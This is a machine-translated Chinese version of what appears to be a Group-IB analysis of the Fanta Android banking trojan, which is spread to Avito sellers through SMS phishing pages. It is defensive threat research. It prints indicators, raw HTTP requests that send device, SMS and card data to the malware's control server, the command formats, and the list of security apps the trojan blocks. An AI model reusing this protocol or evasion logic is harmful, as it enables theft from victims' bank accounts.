一旦您想在Avito上出售产品,并且对产品进行了详细描述(例如,RAM模块),您将收到以下消息:
当您打开链接时,您会看到一个无害的页面,该页面通知您(成功快乐的卖家)购买了以下商品:
单击“继续”按钮后,带有图标和可信名称的APK文件将下载到您的Android设备。 您安装了一个由于某种原因要求AccessibilityService权限的应用程序,然后出现了几个窗口并迅速消失,然后就...。
您是来检查余额的,但是由于某种原因,您的银行应用程序再次要求您提供卡的详细信息。 输入数据后,发生了一件可怕的事情:由于您尚不清楚的某些原因,这笔钱开始从您的帐户中消失。 您正在尝试解决问题,但是您的手机仍在抵抗:它按下了“返回”和“主页”键,无法关闭,并且不允许激活任何保护措施。 结果,您一无所有,您的商品没有被购买,您感到困惑,并想知道:发生了什么事?
答案很简单:您是Flexnet系列Android Trojan Fanta的受害者。 怎么发生的? 我们现在将解释。
作者:
Andrey Polovinkin ,恶意代码分析专家,
Ivan Pisarev ,恶意代码分析专家。
一些统计
Flexnet Android Trojan家族于2015年首次广为人知。 在相当长的一段时间内,该家族扩展到几个亚种:Fanta,Limebot,Lipton等。 该木马以及与之相关的基础设施并没有停滞不前:正在开发新的有效分发方案-在我们的案例中,针对特定用户销售商的高质量网络钓鱼页面,并且该木马的开发人员遵循病毒编写的流行趋势-添加了可以更有效地进行窃取的新功能从受感染的设备和旁路保护机制中获得收益
本文所述的活动针对的是俄罗斯用户,在乌克兰检测到少量受感染的设备,在哈萨克斯坦和白俄罗斯则更少。
尽管Flexnet在Android Trojans领域已有4年以上的历史,并且已被许多研究人员进行了详细研究,但它仍然处于良好状态。 从2019年1月开始,潜在的损坏金额超过3500万卢布-这仅适用于俄罗斯境内的战役。 在2015年,该Android木马的各种版本在地下论坛上出售,还可以找到该木马的源代码及其详细说明。 这意味着全世界的破坏统计数据甚至更加令人印象深刻。 这样一个老人的好指标,对吗?
从销售到作弊
正如您从Internet钓鱼页面的屏幕截图中看到的那样,该页面用于放置先前展示的Avito广告,它是为特定受害者准备的。 显然,攻击者使用了Avito解析器之一,提取了电话号码和卖家名称以及产品说明。 页面扩展并准备好APK文件后,会向受害者发送一条SMS消息,其中包含其姓名和指向网络钓鱼页面的链接,其中包含对该产品的描述以及从该产品的“销售”中获得的金额。 通过单击按钮,用户会收到恶意的APK文件-Fanta。
对shcet491 [。] Ru域的检查表明,它被委托给Hostinger的DNS服务器:
- ns1.hostinger.ru
- ns2.hostinger.ru
- ns3.hostinger.ru
- ns4.hostinger.ru
域区域文件包含指向IP地址31.220.23 [。] 236、31.220.23 [。] 243和31.220.23 [。] 235的条目。 但是,域主资源记录(A记录)指向IP地址为178.132.1 [。] 240的服务器。
IP地址178.132.1 [。] 240位于荷兰,属于WorldStream
主机 。 IP地址31.220.23 [。] 235、31.220.23 [。] 236和31.220.23 [。] 243位于英国,并且属于共享主机服务器HOSTINGER。
Openprov-ru被用作注册商。 以下域也解析为IP地址178.132.1 [。] 240:
- sdelka-ru [。] ru
- tovar-av [。] ru
- av-tovar [。] ru
- ru-sdelka [。] ru
- shcet382 [。] ru
- sdelka221 [。] ru
- sdelka211 [。] ru
- vyplata437 [。] ru
- viplata291 [。] ru
- perevod273 [。] ru
- perevod901 [。] ru
应当指出,几乎所有域都具有以下格式的链接:
http://(www。){0,1} <%domain%> / [0-9] {7}来自SMS消息的链接也属于此模板。 根据历史数据,根据上述模板,发现一个链接对应于几个链接,这表明使用一个域将特洛伊木马分发给多个受害者。
让我们先行
一步 :作为控制服务器,通过SMS链接下载的木马使用
onuseseddohap [。] Club地址。 该域于2019-03-12注册,从2019-04-29开始,APK应用与该域进行了交互。 根据从VirusTotal收到的数据,总共109个应用程序与此服务器进行了交互。 域本身解析为IP地址
217.23.14 [。] 27 ,位于荷兰,由WorldStream
托管人拥有。 名称
便宜的用作注册商。 域名
bad-racoon [。] Club (从2018-09-25开始)和
bad-racoon [。] Live (从2018-10-25开始)也解析为该IP地址。 超过80个APK文件与
坏浣熊[。] Club域进行了交互,超过100个文件与
坏浣熊[。] Live域进行了交互。
一般来说,攻击进度如下:
范塔在引擎盖下有什么?
像许多其他Android木马一样,Fanta能够读取和发送SMS消息,发出USSD请求,在应用程序(包括银行应用程序)顶部显示自己的窗口。 但是,该家族的功能库已经到来:Fanta开始将
AccessibilityService用于不同的目的:从其他应用程序读取通知的内容,防止检测到并阻止特洛伊木马程序在受感染设备上的执行等。 Fanta可在不低于4.4的所有Android版本上使用。 在本文中,我们将仔细研究以下Fanta示例:
- MD5 :0826bd11b2c130c4c8ac137e395ac2d4
- SHA1 :ac33d38d486ee4859aa21b9aeba5e6e11404bcc8
- SHA256 :df57b7e7ac6913ea5f4daad319e02db1f4a6b243f2ea6500f83060648da6edfb
发射后立即
发射后,木马会立即隐藏其图标。 仅当受感染设备的名称不在列表中时,才可以进行应用程序操作:
- android_x86
- 虚拟箱
- Nexus 5X(牛头)
- Nexus 5(剃须刀)
此检查在Trojan-
MainService的主要服务中执行。 首先,应用程序的配置参数将使用默认值(配置数据的存储格式及其值将在后面讨论)以及在管理服务器上注册新的受感染设备进行初始化。 HTTP POST请求将发送到
register_bot消息类型和有关受感染设备的信息(Android版本,IMEI,电话号码,操作员姓名和注册操作员的国家/地区代码)到服务器。 服务器的地址为
hXXp:// onuseseddohap [。] Club / controller.php 。 作为响应,服务器发送一条消息,其中包含
bot_id ,
bot_pwd字段-
服务器 -应用程序将这些值保存为CnC服务器的参数。 如果未收到该字段,则
server参数是可选的:Fanta使用注册地址
-hXXp:// onuseseddohap [。] Club / controller.php 。 更改CnC地址的功能可用于解决两个问题:在多个服务器之间平均分配负载(具有大量受感染的设备,未优化的Web服务器上的负载可能很高),以及在其中一台CnC服务器发生故障的情况下使用备用服务器。
如果发送请求时发生错误,木马将在20秒后重复注册过程。
成功注册设备后,Fanta将向用户显示以下消息:
重要说明:特洛伊木马程序服务的名称为“
系统安全 ”,在单击“
确定”按钮后,将打开一个窗口,其中包含受感染设备的“辅助功能”设置,用户必须在其中为恶意服务颁发“辅助功能”权限:
一旦用户打开
AccessibilityService ,Fanta就可以访问应用程序窗口的内容以及在其中执行的操作:
收到访问权限后,特洛伊木马立即要求管理员权限和读取通知的权限:
应用程序使用AccessibilityService来模拟击键,从而为其自身提供所有必要的权限。
Fanta创建了几个数据库实例(将在后面进行描述),这些实例是保存配置数据以及在此过程中收集的有关受感染设备的信息所必需的。 为了发送收集的信息,木马创建了一个重复任务,该任务旨在从数据库中卸载字段并从控制服务器接收命令。 访问CnC的时间间隔取决于Android版本:在5.1的情况下,时间间隔为10秒,否则为60秒。
为了接收命令,Fanta向管理服务器发出
GetTask请求。 作为响应,CnC可以发送以下命令之一:
Fanta还从70个银行应用程序,快速付款系统和电子钱包中收集通知,并将它们存储在数据库中。
配置设置存储
为了存储配置参数,Fanta使用Android平台的标准方法-
首选项文件。 设置将保存到名为
settings的文件
中 。 下表中已保存参数的说明。
Fanta还使用
smsManager文件:
数据库交互
在工作过程中,该木马使用两个数据库。 名为
a的数据库用于存储从手机收集的各种信息。 第二个数据库称为
fanta.db ,用于保存负责创建旨在收集有关银行卡信息的网络钓鱼窗口的设置。
该木马使用数据库来存储它收集的信息并记录其操作。 数据存储在
日志表中。 要创建表,请使用以下SQL查询:
create table logs ( _id integer primary key autoincrement, d TEXT, f TEXT, p TEXT, m integer)
该数据库包含以下信息:
1.在
打开电话消息的情况下登录包含受感染设备
!2.来自应用程序的通知。 该消息是根据以下模板形成的:
(<%App Name%>)<%Title%>: <%Notification text%>
3.木马网络钓鱼表格中的银行卡数据。
VIEW_NAME参数可以是列表之一:
该消息以以下格式记录:
[<%Time in format HH:mm:ss dd.MM.yyyy%>](<%VIEW_NAME%>) :<%CARD_NUMBER%>; :<%MONTH%>/<%YEAR%>; CVV: <%CVV%>
4.传入/传出的SMS消息,格式为:
([<%Time in format HH:mm:ss dd.MM.yyyy%>] : /) <%Mobile number%>:<%SMS-text%>
5.有关用于创建对话框的软件包的信息,格式为:
(<%Package name%>)<%Package information%>
日志表示例:
Fanta的功能之一是收集银行卡信息。 数据收集是由于打开银行应用程序时网络钓鱼窗口的创建而发生的。 该木马只创建一个钓鱼窗口。 向用户显示该窗口的信息存储在
fanta.db数据库的
设置表中。 以下SQL查询用于创建数据库:
create table settings (can_login integer, first_bank integer, can_alpha integer, can_avito integer, can_ali integer, can_vtb24 integer, can_telecard integer, can_another integer, can_card integer);
默认情况下,
设置表的所有字段都初始化为1(创建网络钓鱼窗口)。 用户输入数据后,该值将设置为0。
设置表的示例字段:
- can_login-该字段负责在打开银行应用程序时显示表单
- first_bank-未使用
- can_avito-该字段负责在打开Avito应用程序时显示表单
- can_ali-该字段负责在打开Aliexpress应用程序时显示表单
- can_another-当从列表中打开任何应用程序时,该字段负责显示表单: Yula,Pandao,Drome Auto,Wallet。 折扣和奖励卡,Aviasales,预订,Trivago
- can_card-该字段负责在打开Google Play时显示表单
管理服务器交互
通过HTTP与管理服务器进行网络通信。 Fanta使用流行的Retrofit库与网络配合使用。 请求发送到
hXXp:// onuseseddohap [。] Club / controller.php 。 在服务器上注册期间可以更改服务器地址。 Cookie可能来自服务器。 Fanta执行以下服务器请求:
- 第一次启动时,该机器人会在管理服务器上注册一次。 以下有关受感染设备的数据已发送到服务器:
· Cookies-从服务器收到的Cookie(默认值为空字符串)
· 模式 -字符串常量register_bot
前缀 -整数常量2
· Version_sdk-由以下模式生成: <%Build.MODEL%> / <%Build.VERSION.RELEASE%>(Avit)
Imei-受感染设备的IMEI
· 国家(地区) -操作员注册所在国家的代码,采用ISO格式
· 号码 -电话号码
· 运算符 - 运算符名称
发送到服务器的请求示例:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Content-Length: 144 Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=register_bot&prefix=2&version_sdk=<%VERSION_SDK%>&imei=<%IMEI%>&country=<%COUNTRY_ISO%>&number=<%TEL_NUMBER%>&operator=<%OPERATOR_NAME%>
为响应该请求,服务器应返回一个包含以下参数的JSON对象:
·Bot_id-被感染设备的标识符。 如果bot_id为0,则Fanta将重新执行该请求。
·Bot_pwd-服务器的密码。
·服务器 -管理服务器的地址。 可选参数。 如果未指定该参数,则将使用存储在应用程序中的地址。
JSON对象示例:
{ "response":[ { "bot_id": <%BOT_ID%>, "bot_pwd": <%BOT_PWD%>, "server": <%SERVER%> } ], "status":"ok" }
- 请求从服务器接收命令。 以下数据发送到服务器:
· Cookie-从服务器收到的Cookie
· 出价 -发送register_bot请求时收到的受感染设备的ID
· Pwd-服务器密码
· Divice_admin-该字段确定是否已获得管理员权限。 如果获得管理员权限,则该字段为1 ,否则为0
· 可访问性 -可访问性服务的状态。 如果服务已启动,则值为1 ,否则为0
· SMSManager-显示木马是否作为接收SMS的默认应用程序打开
· 屏幕 -显示屏幕的状态。 如果屏幕打开,它将设置为1 ,否则为0 ;否则为0 。
发送到服务器的请求示例:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=getTask&bid=<%BID%>&pwd=<%PWD%>&divice_admin=<%DEV_ADM%>&Accessibility=<%ACCSBL%>&SMSManager=<%SMSMNG%>&screen=<%SCRN%>
根据命令,服务器可能返回带有不同参数的JSON对象:
·命令“ 发送SMS消息” :参数包含电话号码,SMS消息的文本和要发送的消息的标识符。 在使用setSmsStatus类型的消息发送到服务器时使用该标识符 。
{ "response": [ { "mode": 0, "sms_number": <%SMS_NUMBER%>, "sms_text": <%SMS_TEXT%>, "sms_id": %SMS_ID% } ], "status":"ok" }
· 拨打电话或USSD命令 :电话号码或命令位于响应正文中。
{ "response": [ { "mode": 1, "command": <%TEL_NUMBER%> } ], "status":"ok" }
·命令更改间隔参数 。
{ "response": [ { "mode": 2, "interval": <%SECONDS%> } ], "status":"ok" }
·命令更改拦截参数 。
{ "response": [ { "mode": 3, "intercept": "all"/"telNumber"/<%ANY_STRING%> } ], "status":"ok" }
· 更改SmsManager字段命令 。
{ "response": [ { "mode": 6, "enable": 0/1 } ], "status":"ok" }
·命令从受感染的设备收集SMS消息 。
{ "response": [ { "mode": 9 } ], "status":"ok" }
·将 电话重置为出厂设置命令:
{ "response": [ { "mode": 11 } ], "status":"ok" }
·命令更改ReadDialog参数 。
{ "response": [ { "mode": 12, "enable": 0/1 } ], "status":"ok" }
- 发送类型为setSmsStatus的消息。 该请求在命令Send SMS之后执行。 请求如下:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSmsStatus&id=<%ID%>&status_sms=<%PWD%>
- 提交数据库内容。 对于一个请求,传输一行。 以下数据发送到服务器:
· Cookie-从服务器收到的Cookie
· 模式 -字符串常量setSaveInboxSms
· 出价 -发送register_bot请求时收到的受感染设备的ID
· 文本 -当前数据库记录中的文本(数据库a中 日志表中的字段d )
· Number-当前数据库记录的名称(数据库a中表日志的字段p )
Sms_mode-整数值(数据库a中表日志的字段m )
请求如下:
POST /controller.php HTTP/1.1 Cookie: Content-Type: application/x-www-form-urlencoded Host: onuseseddohap.club Connection: close Accept-Encoding: gzip, deflate User-Agent: okhttp/3.6.0 mode=setSaveInboxSms&bid=<%APP_ID%>&text=<%a.logs.d%>&number=<%a.logs.p%>&sms_mode=<%a.logs.m%>
成功发送到服务器后,该行将从表中删除。 服务器返回的JSON对象的示例:
{ "response":[], "status":"ok" }
与AccessibilityService的交互
实施AccessibilityService是为了促进残疾人使用Android设备。 在大多数情况下,需要物理交互才能与应用程序交互。 AccessibilityService允许您以编程方式进行设置。 Fanta使用该服务在银行应用程序中创建假窗口,并阻止打开系统设置和某些应用程序。
通过使用AccessibilityService的功能,该木马可以监视受感染设备屏幕上元素的变化。 如前所述,在Fanta设置中,有一个参数负责使用对话框记录操作
-readDialog 。 如果设置了此参数,则有关触发事件的程序包的名称和描述的信息将被添加到数据库中。 触发事件时,该木马执行以下操作:
- 在以下情况下模拟回击和归位:
·如果用户要重新启动设备
·如果用户要删除“ Avito”应用程序或更改访问权限
·如果页面上提到应用程序“ Avito”
·当您打开应用程序“ Google Play保护”时
·使用AccessibilityService设置打开页面时
·当出现“系统安全”对话框时
·当使用“在其他应用上绘制”设置打开页面时
·打开“应用程序”,“还原和重置”,“重置数据”,“重置设置”,“开发人员面板”,“特殊”页面时。 机会”,“可访问性”,“特殊权利”
·事件是否由某些应用程序生成。
申请清单- 安卓
- 精通大师
- 清洁大师
- 适用于x86 CPU的Clean Master
- 魅族应用权限管理
- MIUI安全
- Clean Master-防病毒和清除缓存和垃圾邮件
- 家长控制系统和GPS:卡巴斯基SafeKids
- 卡巴斯基反病毒软件AppLock和Web安全Beta
- 病毒清除程序,防病毒程序,清除程序(MAX安全)
- 移动防病毒安全PRO
- Avast防病毒和免费保护2019
- 移动安全MegaFon
- Xperia的AVG保护
- 移动安全
- Malwarebytes防病毒和防护
- Android 2019的防病毒
- 安全大师-防病毒,VPN,AppLock,Booster
- 适用于Huawei System Manager平板电脑的AVG防病毒软件
- 三星辅助功能
- 三星智能管理器
- 安全主管
- 增速器
- Web博士
- Dr.Web安全空间
- Dr.Web移动控制中心
- Web安全太空生活博士
- Dr.Web移动控制中心
- 防病毒和移动安全
- 卡巴斯基安全软件:防病毒和防护
- 卡巴斯基电池寿命:节电器和助推器
- 卡巴斯基网络安全解决方案-保护和管理
- AVG Antivirus Free 2019-Protection for Android
- 防毒Android
- 诺顿移动安全和防病毒
- 防病毒,防火墙,VPN,移动安全
- 移动安全:防病毒,VPN,防盗
- 适用于Android的防病毒软件
- 如果在向短号码发送SMS消息时需要许可,则Fanta会模仿单击“ 记住选择并发送 ”复选框。
- 当您尝试从木马手中夺走管理员权限时,它将锁定手机屏幕。
- 阻止添加新管理员。
- 如果反病毒应用程序dr.web检测到威胁,则Fanta会模拟单击“ 忽略”按钮。
- 如果事件是由Samsung Device Care应用程序生成的,则木马程序模仿单击后退按钮和主页按钮。
- 如果应用程序是从包含大约30种不同Internet服务的列表中启动的,则Fanta会创建带有表单的网络钓鱼窗口,用于输入有关银行卡的信息。 其中:速卖通,预订,Avito,Google Play市场组件,盘道,Drome Auto等。
网络钓鱼形式
Fanta分析哪些应用程序在受感染的设备上运行。 如果打开了感兴趣的应用程序,该特洛伊木马程序会在所有其他应用程序的顶部显示一个钓鱼窗口,这是一种用于输入有关银行卡信息的表格。 用户必须输入以下数据:
- 卡号
- 卡有效期
- CVV
- 持卡人姓名(并非适用于所有银行)
根据正在运行的应用程序,将显示不同的网络钓鱼窗口。 以下将提供其中一些示例:
速卖通:
阿维托:
对于其他一些应用程序,例如 Google Play市场,Aviasales,盘岛,Booking和Trivago:
真的如何
幸运的是,收到本文开头描述的SMS消息的人原来是网络安全领域的专家。 因此,真实的,非目录的版本不同于先前所讲的版本:该人收到了一条有趣的SMS,然后将其发送给Group-IB威胁狩猎情报团队。 攻击的结果是本文。 大结局吧? 但是,并非所有故事的结局都这么好,以至于您的故事看起来不像是亏损的导演版本,在大多数情况下,遵守以下长期描述的规则就足够了:
- 请勿从Google Play以外的任何其他来源为具有Android操作系统的移动设备安装应用程序
- 安装应用程序时,请特别注意应用程序要求的权限
- 注意文件扩展名
- 定期安装Android OS更新
- 不要访问可疑资源,也不要从那里下载文件
- 不要跟踪SMS消息中收到的链接。
IB集团对网络犯罪一无所知,但却讲述了最有趣的事情。
充满动感的电报频道(https://t.me/Group_IB),涉及信息安全,黑客和网络攻击,黑客主义者和互联网盗版者。 逐步调查轰动性的网络犯罪,使用Group-IB技术进行实际案例调查,当然,还建议如何避免成为Internet的受害者。
YouTube频道在这里
Instagram上的Group-IB Photowire 网站www.instagram.com/group_ib
Twitter短消息twitter.com/GroupIB
Group-IB是总部位于新加坡的网络中用于检测和预防网络攻击,检测欺诈和保护知识产权的解决方案的领先开发商之一。